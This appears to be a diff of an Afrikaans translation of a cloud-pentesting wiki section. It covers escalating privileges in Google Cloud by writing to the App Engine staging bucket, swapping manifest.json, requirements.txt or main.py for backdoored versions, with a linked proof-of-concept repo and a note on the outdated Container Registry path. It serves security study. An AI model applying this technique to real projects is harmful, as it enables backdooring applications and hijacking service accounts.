-Met lees- en skryftoegang tot hierdie bucket is dit egter moontlik om privilegies te eskaleer na die SA wat aan die App Engine-weergawe gekoppel is deur die bucket te monitor en enige keer dat 'n verandering gemaak word (nuwe weergawe), die nuwe weergawe so vinnig moontlik te wysig. Op hierdie manier sal die kontainer wat van hierdie kode geskep word die backdoored kode uitvoer.
+Met lees- en skryftoegang oor hierdie bucket is dit egter moontlik om voorregte te eskaleer na die SA wat aan die App Engine-weergawe geheg is deur die bucket te monitor en enige keer as 'n verandering uitgevoer word (nuwe weergawe), die nuwe weergawe so vinnig as moontlik te wysig. Op hierdie manier sal die container wat uit hierdie kode geskep word, die backdoored kode uitvoer.

-Die genoemde aanval kan op baie verskillende maniere uitgevoer word; almal begin deur die `staging.<project-id>.appspot.com` bucket te monitor:
+Die genoemde aanval kan op baie verskillende maniere uitgevoer word, almal begin deur die `staging.<project-id>.appspot.com` bucket te monitor:

- Laai die volledige nuwe kode van die AppEngine-weergawe op na 'n ander beskikbare bucket en berei 'n **`manifest.json`-lêer met die nuwe bucketnaam en sha1-hashe van die lêers** voor. Wanneer 'n nuwe weergawe dan binne die bucket geskep word, hoef jy net die `manifest.json` te wysig en die kwaadwillige een op te laai.
- Laai 'n gemodifiseerde `requirements.txt` op wat die **kwaadwillige afhanklikheidskode gebruik en die `manifest.json`** bywerk met die nuwe bestandsnaam, URL en die hash daarvan.
- Laai 'n **gemodifiseerde `main.py` of `app.yaml` lêer wat die kwaadwillige kode sal uitvoer** op en werk die `manifest.json` by met die nuwe bestandsnaam, URL en die hash daarvan.
+- Upload die volledige nuwe kode van die AppEngine-weergawe na 'n ander en beskikbare bucket en maak 'n **`manifest.json` file met die nuwe bucketnaam en sha1 hashes van hulle**. Dan, wanneer 'n nuwe weergawe binne die bucket geskep word, hoef jy net die `manifest.json`-lêer te wysig en die kwaadwillige een op te laai.
+- Upload 'n gemodifiseerde `requirements.txt`-weergawe wat die **kwaadwillige afhanklikhede-kode** sal gebruik en werk die `manifest.json`-lêer by met die nuwe lêernaam, URL en die hash daarvan.
+- Upload 'n **gemodifiseerde `main.py` of `app.yaml` lêer wat die kwaadwillige kode sal uitvoer** en werk die `manifest.json`-lêer by met die nuwe lêernaam, URL en die hash daarvan.

-**Jy kan 'n PoC van hierdie aanval in die repo vind:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)

 ### GCR

- **Google Container Registry** stoor die images binne buckets; as jy daardie buckets kan skryf mag jy moontlik **move laterally** na waar daardie buckets gedryf word.
- Die bucket wat deur GCR gebruik word sal 'n URL hê soortgelyk aan `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die top-level subdomeine is gespesifiseer [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
+- **Google Container Registry** stoor die images binne buckets; as jy daardie buckets kan **skryf** kan jy moontlik lateral beweeg na waar daardie buckets gehardloop word.
+- Die bucket wat deur GCR gebruik word sal 'n URL hê soortgelyk aan `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die topvlak subdomeine word hier gespesifiseer [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).

 > [!TIP]
-> Hierdie diens is verouderd, dus is hierdie aanval nie meer nuttig nie. Boonop stoor Artifact Registry, die diens wat hierdie een vervang, nie die images in buckets nie.
+> Hierdie diens is verouderd, so hierdie aanval is nou nie meer nuttig nie. Verder stoor Artifact Registry, die diens wat hierdie een vervang, nie die images in buckets nie.

-## **Verwysings**
+## **References**

 - [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)